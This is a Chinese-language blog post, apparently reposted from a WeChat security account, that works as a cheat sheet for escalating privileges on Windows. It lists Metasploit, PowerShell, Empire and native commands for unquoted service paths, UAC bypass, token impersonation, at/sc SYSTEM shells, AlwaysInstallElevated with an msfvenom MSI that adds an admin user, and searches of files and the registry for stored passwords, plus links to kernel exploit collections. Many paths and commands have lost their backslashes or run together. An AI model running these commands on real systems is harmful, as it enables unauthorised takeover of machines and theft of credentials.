Windows系统提权总结

admin 2021年6月22日20:43:52评论106 views字数 5205阅读17分21秒阅读模式

0x01 简介

提权可分为纵向提权与横向提权

纵向提权:低权限角色获得高权限角色的权限;

横向提权:获取同级别角色的权限。


Windows常用的提权方法有:

系统内核溢出漏洞提权、

数据库提权、

错误的系统配置提权、

组策略首选项提权、

WEB中间件漏洞提权、

DLL劫持提权、

滥用高危权限令牌提权、

第三方软件/服务提权等


0x02 按提权方法分类

2.1 系统内核溢出漏洞提权

此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。

下面是几个方便查找相应补丁漏洞的辅助查询页面:

https://github.com/ianxtianxt/win-exp-https://github.com/SecWiki/windows-kernel-exploits

#手工查找补丁情况systeminfoWmic qfe get Caption,Description,HotFixID,InstalledOn
#MSF后渗透扫描post/windows/gather/enum_patches
#Powershell扫描Import-Module C:Sherlock.ps1Find-AllVulns



2.2 系统配置错误提权

#Empire内置模块usemodule privesc/powerup/allchecksexecute


2.2.1 系统服务权限配置错误

Windows在系统启动时,会伴随着一些高权服务启动,倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持

实现方法可借助:

1.Powershell中的PowerUp脚本https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
2.Metasploit中的攻击模块 #需要提前获取一个sessionexploit/windows/local/service_permissions


2.2.2 可信任服务路径漏洞

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的
MSF使用实战:

#寻找存在漏洞的服务wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:Windows\" | findstr /i /v """
#msf攻击模块exploit/windows/local/trusted_service_path
#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程set AutoRunScript migrate -f


2.2.3 计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。

#查看计算机的计划任务schtasks /query /fo LIST /v
#查看指定目录的权限配置情况accesschk.exe -dqv "D:test" -accepteula


2.3 组策略首选项提权

组策略首选项(Group Policy Preferences,GPP),详情见谢公子的博客:Windows组策略首选项提权

#Powershell获取cpasswordGet-GPPPassword.ps1
#Msfpost/windows/gather/credentials/gpp
#Empireusemodule privesc/gpp


2.4 绕过UAC提权

backlion师傅有一篇博文,主要写的就是这个:使用Metasploit绕过UAC的多种方法

#Msfexploit/windows/local/ask       #弹出UAC确认窗口,点击后获得system权限exploit/windows/local/bypassuacexploit/windows/local/bypassuac_injectionexploit/windows/local/bypassuac_fodhelperexploit/windows/local/bypassuac_eventvwrexploit/windows/local/bypassuac_comhijack
#PowershellInvoke-PsUACme
#Empireusemodule privesc/bypassuacusemodule privesc/bypassuac_wscript


2.3 令牌窃取

#已经获取到一个session#方法一meterpreter > use incognito......meterpreter > list_tokens -uWIN-2HU3N1Administratormeterpreter > impersonate_token WIN-2HU3N1\Administrator  #注意:这里是两个反斜杠\Successfully......meterpreter > shellC:UserAdministrator>whoamiWIN-2HU3N1Administrator
#方法二,借用Rotten potato程序https://github.com/foxglovesec/RottenPotato.gitmeterpreter > use incognitometerpreter > list_tokens -uWIN-2HU3N1Administratormeterpreter > upload /root/Rottenpotato/rottenpotato.exeSuccessfullymeterpreter > execute -HC -f rottenpotato.exeSuccessfullymeterpreter > getuid...NT AUTHORITYSYSTEM

2.4 无凭证条件下的权限提升

Responder.py:https://github.com/SpiderLabs/Responder.git


0x03 按系统类型类型

3.1 Windows2000/2003、XP

3.1.1 at本地命令提权

在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将 Administrators 组下的用户权限提升到 SYSTEM

at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、可以是一个二进制文件。

语法:at 时间 命令例子:at 10:45PM calc.exe

该命令会发布一个定时任务计划,在每日的 10:45 启动 calc.exe。我们可以通过 “/interactive”开启界面交互模式:

Windows系统提权总结

在得到一个system的cmd之后,使用 taskmgr 命令调用任务管理器,此时的任务管理器是system权限,然后kill掉explore进程,再使用任务管理器新建explore进程,将会得到一个system的桌面环境

Windows系统提权总结

3.1.2 at 配合 msf提权

msf下生成木马文件,at命令执行运行程序,上线后即为system

Windows系统提权总结



3.2 windows 7/8、03/08、12/16

3.2.1 sc命令提权

关于sc命令:SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

sc Create syscmd binPath= "cmd /K start" type= own type= interact

这个命令的意思是创建一个名叫 syscmd 的新的交互式的 cmd 服务,然后执行以下命令,就得到了一个system权限的cmd环境:

sc start systcmd


3.2.2 AlwaysInstallElevated

AlwaysInstallElevated 是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。

可以通过查询以下注册表项来识别此设置:

[HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001


使用reg query命令查询是否存在漏洞

C:> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevatedorC:> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated


如果系统没这个漏洞,它将输出错误:

ERROR: The system was unable to find the specified registry key or value.

如果存在漏洞,上面将输出以下内容:

Windows系统提权总结

然后我们使用msfvenom生成msi文件,进行提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi
msiexec /quiet /qn /i C:programdatarotten.msi# /quiet 安装过程中禁止向用户发送消息# /qn 不使用GUI# /i 安装程序
msf下的自动模块exploit/windows/local/always_install_elevated

3.2.3 Unattended Installs

自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大  型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。

全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:

C:WindowsPantherC:WindowsPantherUnattendC:WindowsSystem32C:WindowsSystem32sysprep

除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。

C:UsersuserDesktop> dir C:*vnc.ini /s /b /c
#或者在名称中包含关键词的项目:C:UsersuserDesktop> dir C: /s /b /c | findstr /sr *password*
#或者可以在文件内容中搜索password之类的关键字:C:UsersuserDesktop>findstr /si password *.txt | *.xml | *.ini
#可以查询注册表,例如,字符串password:reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s

在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密 码需要去掉最后的”Password”。

#msf模块post/windows/gather/enum_unattend

Windows系统提权总结


3.3 常用系统漏洞CVE

#Windows10CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html
#Windows7/2008CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html
#Windows7/8、2008/2012/2016CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html
#SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

本文来源:乌云安全 肖洋肖恩


如对你有,记得转发分享,点个在看哦

本文始发于微信公众号(LemonSec):Windows系统提权总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年6月22日20:43:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows系统提权总结http://cn-sec.com/archives/305136.html

发表评论

匿名网友 填写信息